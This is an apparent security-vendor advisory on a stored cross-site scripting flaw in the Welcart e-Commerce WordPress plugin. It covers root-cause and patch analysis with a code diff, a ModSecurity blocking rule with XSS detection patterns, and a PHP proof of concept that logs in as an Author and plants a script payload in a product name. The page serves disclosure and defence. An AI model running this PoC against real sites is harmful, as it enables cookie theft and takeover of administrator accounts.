Opens in a new tab
Published : November 15, 2026

CVE-2026-16066: Welcart e-Commerce <= 2.11.33 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin usc-e-shop
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.11.33
Patched Version 2.11.34
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16066:
CVE-2026-16066 is an authenticated (Author+) stored cross-site scripting vulnerability in the Welcart e-Commerce plugin for WordPress, affecting versions up to and including 2.11.33. The flaw allows an attacker with author-level access to inject arbitrary JavaScript into item names, option values, and other fields that are later rendered without proper escaping in administrative pages, emails, and checkout forms. The CVSS score is 6.4 (medium), and the CWE is 79 (Improper Neutralization of Input During Web Page Generation).

Root Cause:
Atomic Edge research identified multiple missing output escaping points across the plugin. In usc-e-shop/functions/emails.php, the functions usces_get_cart_row (around line 368) and usces_get_cart_row_by_order (around line 850) concatenate cart item names and option keys/values directly into email HTML without esc_html(). The item_post.php file at line 1234 builds elements using unescaped $item_name and $item_code. In filters.php around line 676, the ecommerce tracking JavaScript is constructed by concatenating $sku, $itemname, and $category into a JS string literal without esc_js(). Similarly, function.php at lines 2494-2508 inserts order address, SKU, item name, and category into the _addTrans and _addItem JavaScript calls without esc_js(). The purchase_button.php at line 447 places $item_name into a hidden input value attribute without esc_attr(). The member_edit_form.php at line 375 outputs $cartItemName in the admin member edit page without esc_html(). The widget usces_featured.php at line 59 renders item name and code without esc_html(). All these paths allow stored XSS because item names and options can be controlled by an Author+ user.

Exploitation:
An attacker with Author-level credentials can create or edit a product (Welcart item) and set the item name or item code to a malicious payload such as alert(document.cookie). Alternatively, the attacker can inject payloads into item options or order-related fields. The payload is stored in the database and later executed when an administrator or other user views the affected pages: the admin member edit page (member_edit_form.php), the featured products widget (usces_featured.php), the purchase button form (purchase_button.php), or any email that includes cart item details. The JavaScript executes in the context of the victim’s browser, allowing theft of session cookies, privilege escalation, or arbitrary actions on behalf of the victim.

Patch Analysis:
The patch upgrades Welcart to version 2.11.34 and adds proper output escaping at each vulnerable location. In paymentPaidy.class.php and paymentPaygent.class.php, the item code and name are now encoded with wp_json_encode((string) …) instead of manual quoting, preventing JSON injection. In emails.php, the cart item name and option keys/values are escaped with esc_html(). In filters.php, $sku, $itemname, and $category are escaped with esc_js(). In function.php, the _addTrans and _addItem JavaScript strings use esc_js() for address, pref, SKU, item name, and category; also the preview_email_order_detail AJAX handler now applies wp_kses_post() to $content. In item_post.php, $item_name and $item_code are escaped with esc_html(). In member_edit_form.php, $cartItemName is escaped with esc_html(). In purchase_button.php, $item_name is escaped with esc_attr(). In usces_featured.php, item name and code are escaped with esc_html(). These changes ensure that user-supplied data is properly encoded before being output in HTML, JavaScript, or JSON contexts, neutralizing XSS payloads.

Impact:
Successful exploitation allows an authenticated Author+ attacker to execute arbitrary JavaScript in the browsers of administrative users or customers. This can lead to session hijacking, theft of sensitive data (including authentication cookies and CSRF tokens), privilege escalation (e.g., creating admin accounts), and full site compromise. The vulnerability is particularly dangerous because it can be triggered in administrative interfaces and emails, potentially affecting high-privilege users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/usc-e-shop/classes/paymentPaidy.class.php
+++ b/usc-e-shop/classes/paymentPaidy.class.php
@@ -1659,9 +1659,9 @@
 				$items = '';
 				foreach ( $cart as $cart_row ) {
 					$items .= "ntttt" . '{' . "n";
-					$items .= "ttttt" . '"id": "' . $usces->getItemCode( $cart_row['post_id'] ) . '",' . "n";
+					$items .= "ttttt" . '"id": ' . wp_json_encode( (string) $usces->getItemCode( $cart_row['post_id'] ) ) . ',' . "n";
 					$items .= "ttttt" . '"quantity": ' . $cart_row['quantity'] . ',' . "n";
-					$items .= "ttttt" . '"title": "' . $usces->getItemName( $cart_row['post_id'] ) . '",' . "n";
+					$items .= "ttttt" . '"title": ' . wp_json_encode( (string) $usces->getItemName( $cart_row['post_id'] ) ) . ',' . "n";
 					$items .= "ttttt" . '"unit_price": ' . $cart_row['price'] . "n";
 					$items .= "tttt" . '},';
 				}
--- a/usc-e-shop/classes/paymentPaygent.class.php
+++ b/usc-e-shop/classes/paymentPaygent.class.php
@@ -5618,9 +5618,9 @@
 				$items = '';
 				foreach ( $cart as $cart_row ) {
 					$items .= "ntttt" . '{' . "n";
-					$items .= "ttttt" . '"id": "' . $usces->getItemCode( $cart_row['post_id'] ) . '",' . "n";
+					$items .= "ttttt" . '"id": ' . wp_json_encode( (string) $usces->getItemCode( $cart_row['post_id'] ) ) . ',' . "n";
 					$items .= "ttttt" . '"quantity": ' . $cart_row['quantity'] . ',' . "n";
-					$items .= "ttttt" . '"title": "' . $usces->getItemName( $cart_row['post_id'] ) . '",' . "n";
+					$items .= "ttttt" . '"title": ' . wp_json_encode( (string) $usces->getItemName( $cart_row['post_id'] ) ) . ',' . "n";
 					$items .= "ttttt" . '"unit_price": ' . $cart_row['price'] . "n";
 					$items .= "tttt" . '},';
 				}
--- a/usc-e-shop/functions/emails.php
+++ b/usc-e-shop/functions/emails.php
@@ -368,7 +368,7 @@
 		$sku                 = urldecode( $cart_row['sku'] );
 		$quantity            = $cart_row['quantity'];
 		$options             = ( ! empty( $cart_row['options'] ) ) ? $cart_row['options'] : array();
-		$cart_item_name      = $usces->getCartItemName( $post_id, $sku );
+		$cart_item_name      = esc_html( $usces->getCartItemName( $post_id, $sku ) );
 		if ( usces_is_tax_display() && $reduced_taxrate ) {
 			$applicable_taxrate = $usces_tax->get_sku_applicable_taxrate( $post_id, $sku );
 			if ( 'reduced' === $applicable_taxrate ) {
@@ -387,14 +387,14 @@
 					$key = urldecode( $key );
 					if ( is_array( $value ) ) {
 						$c       = '';
-						$optstr .= $key . ' : ';
+						$optstr .= esc_html( $key ) . ' : ';
 						foreach ( $value as $v ) {
-							$optstr .= $c . urldecode( $v );
+							$optstr .= $c . esc_html( urldecode( $v ) );
 							$c       = ', ';
 						}
 						$optstr .= '<br>';
 					} else {
-						$optstr .= $key . ' : ' . urldecode( $value ) . '<br>';
+						$optstr .= esc_html( $key ) . ' : ' . esc_html( urldecode( $value ) ) . '<br>';
 					}
 				}
 			}
@@ -850,7 +850,7 @@
 		$sku            = urldecode( $cart_row['sku'] );
 		$quantity       = $cart_row['quantity'];
 		$options        = ( ! empty( $cart_row['options'] ) ) ? $cart_row['options'] : array();
-		$cart_item_name = $usces->getCartItemName_byOrder( $cart_row );
+		$cart_item_name = esc_html( $usces->getCartItemName_byOrder( $cart_row ) );
 		if ( 'activate' === $tax_display && $reduced_taxrate ) {
 			$applicable_taxrate = $usces_tax->get_ordercart_applicable_taxrate( $cart_row['cart_id'], $post_id, $sku );
 			if ( 'reduced' === $applicable_taxrate ) {
@@ -871,14 +871,14 @@
 					$value = maybe_unserialize( $value );
 					if ( is_array( $value ) ) {
 						$c       = '';
-						$optstr .= $key . ' : ';
+						$optstr .= esc_html( $key ) . ' : ';
 						foreach ( $value as $v ) {
-							$optstr .= $c . rawurldecode( $v );
+							$optstr .= $c . esc_html( rawurldecode( $v ) );
 							$c       = ', ';
 						}
 						$optstr .= '<br>';
 					} else {
-						$optstr .= $key . ' : ' . rawurldecode( $value ) . '<br>';
+						$optstr .= esc_html( $key ) . ' : ' . esc_html( rawurldecode( $value ) ) . '<br>';
 					}
 				}
 			}
--- a/usc-e-shop/functions/filters.php
+++ b/usc-e-shop/functions/filters.php
@@ -676,9 +676,9 @@

 					$push[] = "'ecommerce:addItem', {
 								id: '" . $order_id . "',
-								sku: '" . $sku . "',
-								name: '" . $itemname . "',
-								category: '" . $category . "',
+								sku: '" . esc_js( $sku ) . "',
+								name: '" . esc_js( $itemname ) . "',
+								category: '" . esc_js( $category ) . "',
 								price: '" . $skuprice . "',
 								quantity: '" . $quantity . "' }";
 				}
--- a/usc-e-shop/functions/function.php
+++ b/usc-e-shop/functions/function.php
@@ -2494,7 +2494,7 @@
 		if ( $total_price < 0 ) {
 			$total_price = 0;
 		}
-		$push[]     = "'_addTrans', '" . $order_id . "', '" . html_entity_decode( get_option( 'blogname' ) ) . "', '" . $total_price . "', '" . $data['order_tax'] . "', '" . $data['order_shipping_charge'] . "', '" . $data['order_address1'].$data['order_address2'] . "', '" . $data['order_pref'] . "', '" . get_locale() . "'";
+		$push[]     = "'_addTrans', '" . $order_id . "', '" . esc_js( get_option( 'blogname' ) ) . "', '" . $total_price . "', '" . $data['order_tax'] . "', '" . $data['order_shipping_charge'] . "', '" . esc_js( $data['order_address1'] . $data['order_address2'] ) . "', '" . esc_js( $data['order_pref'] ) . "', '" . get_locale() . "'";
 		$cart_count = ( $cart && is_array( $cart ) ) ? count( $cart ) : 0;
 		for ( $i = 0; $i < $cart_count; $i++ ) {
 			$cart_row = $cart[ $i ];
@@ -2508,7 +2508,7 @@
 				sort( $cats );
 			}
 			$category = ( isset( $cats[0] ) ) ? get_cat_name( $cats[0] ) : '';
-			$push[]   = "'_addItem', '" . $order_id . "', '" . $sku . "', '" . $itemName . "', '" . $category . "', '" . $skuPrice . "', '" . $quantity . "'";
+			$push[]   = "'_addItem', '" . $order_id . "', '" . esc_js( $sku ) . "', '" . esc_js( $itemName ) . "', '" . esc_js( $category ) . "', '" . $skuPrice . "', '" . $quantity . "'";
 		}
 		$push[] = "'_trackTrans'";
 	}
@@ -5605,7 +5605,7 @@
 		case 'preview_email_order_detail':
 			$content        = isset( $_POST['content'] ) ? $_POST['content'] : '';
 			$res['status']  = true;
-			$res['content'] = wpautop( $content );
+			$res['content'] = wpautop( wp_kses_post( $content ) );
 			break;
 	}
 	wp_send_json( $res );
--- a/usc-e-shop/functions/item_post.php
+++ b/usc-e-shop/functions/item_post.php
@@ -1234,7 +1234,7 @@
 		$product   = wel_get_product( $item->ID );
 		$item_name = $product['itemName'];
 		$item_code = $product['itemCode'];
-		$option   .= '<option value="' . urlencode( $item_code ) . '">' . $item_name . '(' . $item_code . ')</option>' . "n";
+		$option   .= '<option value="' . urlencode( $item_code ) . '">' . esc_html( $item_name ) . '(' . esc_html( $item_code ) . ')</option>' . "n";
 	}
 	return $option;
 }
--- a/usc-e-shop/includes/member_edit_form.php
+++ b/usc-e-shop/includes/member_edit_form.php
@@ -375,7 +375,7 @@
 		$materials = compact( 'i', 'cart_row', 'post_id', 'sku', 'quantity', 'options', 'advance', 'itemCode', 'itemName', 'cartItemName', 'skuPrice', 'pictid', 'order_id' );
 		$optstr    = apply_filters( 'usces_filter_member_edit_form_row', $optstr, $cart, $materials );

-		$cart_item_name = apply_filters( 'usces_filter_admin_cart_item_name', $cartItemName, $materials ) . '<br />' . $optstr;
+		$cart_item_name = apply_filters( 'usces_filter_admin_cart_item_name', esc_html( $cartItemName ), $materials ) . '<br />' . $optstr;
 		$cart_item_name = apply_filters( 'usces_filter_admin_history_cart_item_name', $cart_item_name, $cartItemName, $optstr, $cart_row, $i );

 		$cart_thumbnail = ( ! empty( $pictid ) ) ? wp_get_attachment_image( $pictid, array( 60, 60 ), true ) : usces_get_attachment_noimage( array( 60, 60 ), $itemCode );
--- a/usc-e-shop/includes/purchase_button.php
+++ b/usc-e-shop/includes/purchase_button.php
@@ -447,7 +447,7 @@
 			$html   .= '<form id="purchase_form" name="purchase_form" action="' . $send_url . '" method="post" onKeyDown="if (event.keyCode == 13) {return false;}" accept-charset="Shift_JIS">
 				<input type="hidden" name="IP" value="' . $acting_opts['card_ip'] . '" />
 				<input type="hidden" name="SID" value="' . $sid . '" />
-				<input type="hidden" name="N1" value="' . $item_name . '">
+				<input type="hidden" name="N1" value="' . esc_attr( $item_name ) . '">
 				<input type="hidden" name="K1" value="' . usces_crform( $usces_entries['order']['total_full_price'], false, false, 'return', false ) . '">
 				<input type="hidden" name="FUKA" value="' . $fuka . '" />
 				<input type="hidden" name="KAKUTEI" value="' . $kakutei . '" />
--- a/usc-e-shop/usc-e-shop.php
+++ b/usc-e-shop/usc-e-shop.php
@@ -3,7 +3,7 @@
  * Plugin Name: Welcart e-Commerce
  * Plugin URI: https://www.welcart.com/
  * Description: Welcart builds the management system with a net shop on WordPress.
- * Version: 2.11.33
+ * Version: 2.11.34
  * Author: Welcart Inc.
  * Author URI: https://www.welcart.com/
  * License: GPLv2 or later
@@ -16,7 +16,7 @@
  * @package Welcart
  */

-define( 'USCES_VERSION', '2.11.33.2608051' );
+define( 'USCES_VERSION', '2.11.34.2608071' );
 define( 'USCES_DB_ACCESS', '1.5' );
 define( 'USCES_DB_MEMBER', '1.1' );
 define( 'USCES_DB_MEMBER_META', '1.1' );
--- a/usc-e-shop/widgets/usces_featured.php
+++ b/usc-e-shop/widgets/usces_featured.php
@@ -59,7 +59,7 @@
 			<li class="featured_list<?php echo esc_attr( $class ); ?><?php echo apply_filters( 'usces_filter_featured_list_class', null, $list_index, $num ); ?>">
 			<?php
 			$list  = '<div class="thumimg"><a href="' . get_permalink( $post_id ) . '">' . usces_the_itemImage( 0, 150, 150, $post, 'return' ) . '</a></div>';
-			$list .= '<div class="thumtitle"><a href="' . get_permalink( $post_id ) . '" rel="bookmark">' . $usces->getItemName( $post_id ) . ' (' . $usces->getItemCode( $post_id ) . ')</a></div>';
+			$list .= '<div class="thumtitle"><a href="' . get_permalink( $post_id ) . '" rel="bookmark">' . esc_html( $usces->getItemName( $post_id ) ) . ' (' . esc_html( $usces->getItemCode( $post_id ) ) . ')</a></div>';
 			echo apply_filters( 'usces_filter_featured_widget', $list, $post, $list_index, $instance );
 			?>
 			</li>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-16066
# Blocks stored XSS via Welcart item creation/update by Author+ users.
# Matches POST requests to /wp-admin/post.php with post_type=usces_item and XSS patterns in post_title or usces_item_name.
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:202616066,phase:2,deny,status:403,chain,msg:'CVE-2026-16066 Welcart Stored XSS via item creation',severity:'CRITICAL',tag:'CVE-2026-16066'"
  SecRule ARGS_POST:post_type "@streq usces_item" "chain"
    SecRule ARGS_POST:post_title|ARGS_POST:usces_item_name "@rx (<script|onerrors*=|onloads*=|javascript:)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16066 - Welcart e-Commerce <= 2.11.33 - Authenticated (Author+) Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'author_user';        // Author-level credentials
$password = 'author_pass';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in as Author
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new Welcart item (product) with XSS payload in item name
$create_item_url = $target_url . '/wp-admin/post-new.php?post_type=usces_item';
$payload = '<script>alert(document.cookie)</script>';

// Fetch the new post page to get the nonce and other required fields
curl_setopt($ch, CURLOPT_URL, $create_item_url);
curl_setopt($ch, CURLOPT_POST, false);
$page = curl_exec($ch);

// Extract nonce (simplified; actual extraction depends on page structure)
preg_match('/name="_wpnonce" value="([^"]+)"/', $page, $matches);
$nonce = $matches[1] ?? '';

// Prepare item data with XSS payload in the item name
$item_data = array(
    'action' => 'editpost',
    'post_ID' => '0',
    'post_type' => 'usces_item',
    'post_title' => $payload,
    '_wpnonce' => $nonce,
    'post_status' => 'publish',
    // Additional required fields for Welcart item (simplified)
    'usces_item_code' => 'XSS-001',
    'usces_item_name' => $payload,
    'usces_item_price' => '100',
    'usces_item_stock' => '10'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($item_data));
$response = curl_exec($ch);

// Step 3: Trigger execution by visiting a page that renders the item name without escaping
// For example, the featured products widget or a cart/checkout page.
// The payload will execute when an admin views the member edit page or the featured widget.
$trigger_url = $target_url . '/wp-admin/admin.php?page=usces_member_edit'; // Example admin page
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_POST, false);
$trigger_response = curl_exec($ch);

// Check if payload is present (not executed in CLI, but confirms storage)
if (strpos($trigger_response, $payload) !== false) {
    echo "XSS payload stored and reflected in admin page.n";
} else {
    echo "Payload may not be reflected; check manually.n";
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.